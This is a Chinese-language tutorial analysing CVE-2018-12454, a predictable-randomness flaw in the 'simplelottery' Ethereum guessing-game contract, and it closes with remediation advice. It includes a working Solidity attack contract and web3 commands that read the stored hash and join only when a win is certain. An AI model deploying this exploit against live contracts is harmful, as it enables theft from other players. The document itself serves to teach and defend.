CVE-2018-12454合约代码详细分析
字数 1235 2025-08-22 12:22:30
CVE-2018-12454智能合约漏洞分析与教学文档
一、漏洞概述
CVE-2018-12454是1000 Guess以太坊随机数竞猜游戏中的一个严重安全漏洞。该漏洞存在于simplelottery智能合约的_addguess函数中,由于使用公共可读取的变量生成随机值,导致攻击者可以预测并操纵游戏结果,从而持续获取奖励。
二、合约代码分析
1. 合约基本结构
pragma solidity ^0.4.11;
contract simplelottery {
enum State { Started, Locked }
State public state = State.Started;
struct Guess{
address addr;
}
uint arraysize=1000;
uint constant maxguess=1000000;
uint bettingprice = 1 ether;
Guess[1000] guesses;
uint numguesses = 0;
bytes32 curhash = '';
uint _gameindex = 1;
uint _starttime = 0;
address developer = 0x0;
address _winner = 0x0;
event SentPrizeToWinner(...);
event SentDeveloperFee(...);
}
2. 关键变量说明
state: 合约状态(Started/Locked)arraysize: 触发开奖的参与人数门限值bettingprice: 参与竞猜的最小金额guesses: 存储参与者地址的数组numguesses: 当前参与人数curhash: 用于生成随机数的哈希值_gameindex: 游戏轮次_starttime: 游戏开始时间戳
3. 核心函数分析
构造函数
function simplelottery() {
if(developer==address(0)){
developer = msg.sender;
state = State.Started;
_starttime = block.timestamp;
}
}
竞猜参与函数
function _addguess() private inState(State.Started) {
require(msg.value >= bettingprice);
curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
if((uint)(numguesses+1)<=arraysize) {
guesses[numguesses++].addr = msg.sender;
if((uint)(numguesses)>=arraysize){
_finish();
}
}
}
开奖函数
function _finish() private {
state = State.Locked;
uint block_timestamp = block.timestamp;
uint lotterynumber = (uint(curhash)+block_timestamp)%(maxguess+1);
findWinner(lotterynumber);
uint prize = getLotteryMoney();
uint numwinners = 1;
uint remain = this.balance - (prize*numwinners);
_winner.transfer(prize);
SentPrizeToWinner(...);
developer.transfer(remain);
SentDeveloperFee(...);
numguesses = 0;
_gameindex++;
state = State.Started;
_starttime = block.timestamp;
}
确定赢家函数
function findWinner(uint value) {
uint i = value % numguesses;
_winner = guesses[i].addr;
}
三、漏洞原理分析
1. 随机数生成机制
合约使用以下方式生成随机数:
curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
uint lotterynumber = (uint(curhash)+block.timestamp)%(maxguess+1);
2. 漏洞成因
- 链上数据公开性:以太坊区块链上所有数据都是公开可读的
- 可预测的随机源:
block.timestamp: 区块时间戳block.coinbase: 矿工地址block.difficulty: 当前区块难度curhash: 合约存储的哈希值
- 存储变量可读取:
curhash存储在合约中,可通过web3.eth.getStorageAt读取
3. 攻击路径
- 攻击者监控合约状态,等待参与人数接近门限值
- 读取合约存储中的
curhash值 - 计算下一轮可能的随机数结果
- 只有当计算结果有利于自己时才参与竞猜
- 重复此过程直到成功获取奖励
四、漏洞复现与攻击演示
1. 环境准备
-
部署合约并修改参数:
- 将
arraysize设为3(降低门限值) - 将
bettingprice设为100 wei(降低参与成本)
- 将
-
准备两个测试账户:
- 正常参与者账户
- 攻击者账户
2. 攻击合约代码
contract Attack{
address public owner;
simplelottery lottery;
uint constant maxguess=1000000;
uint numguesses;
event success(string s, uint balance);
function () payable {}
function attack(address target, bytes32 curhash, uint arraysize, uint attackerid) public payable {
lottery = simplelottery(target);
(,,,numguesses,,,) = lottery.getBettingStatus();
if(numguesses != arraysize - 1) revert();
curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
uint lotterynumber = (uint(curhash)+block.timestamp)%(maxguess+1);
uint i = lotterynumber % arraysize;
if(attackerid != i) revert();
target.call.value(0.01 ether)();
success("Attack success!",this.balance);
msg.sender.transfer(this.balance);
}
}
3. 攻击步骤
-
读取合约存储中的
curhash值:web3.eth.getStorageAt(contractAddress, 4, function(x, y) {console.warn(y)}); -
调用攻击合约:
attack("0x合约地址", "0x获取的curhash值", 3, 1); -
重复执行直到攻击成功
五、漏洞修复建议
-
使用链外随机源:
- 如Oraclize或Chainlink VRF
- 引入可信第三方随机数服务
-
改进随机数生成方式:
// 增加难以预测的变量 bytes32 private seed = keccak256(abi.encodePacked( block.timestamp, block.difficulty, msg.sender, blockhash(block.number - 1) )); -
提交-揭示模式:
- 参与者先提交哈希值
- 开奖时揭示原始值
- 组合所有揭示值生成随机数
-
延迟开奖:
- 使用未来区块的哈希值
- 增加预测难度
六、总结与经验教训
-
区块链随机数的特殊性:
- 所有链上数据都是公开的
- 不能依赖区块变量作为唯一随机源
-
安全开发实践:
- 避免使用可预测的随机数生成方式
- 考虑使用经过验证的随机数库
- 进行彻底的安全审计
-
监控与响应:
- 监控合约异常行为
- 准备应急响应方案
此漏洞展示了在智能合约开发中安全生成随机数的重要性,开发者必须充分理解区块链数据的透明性对安全性的影响,并采用适当的防护措施来保护合约免受此类攻击。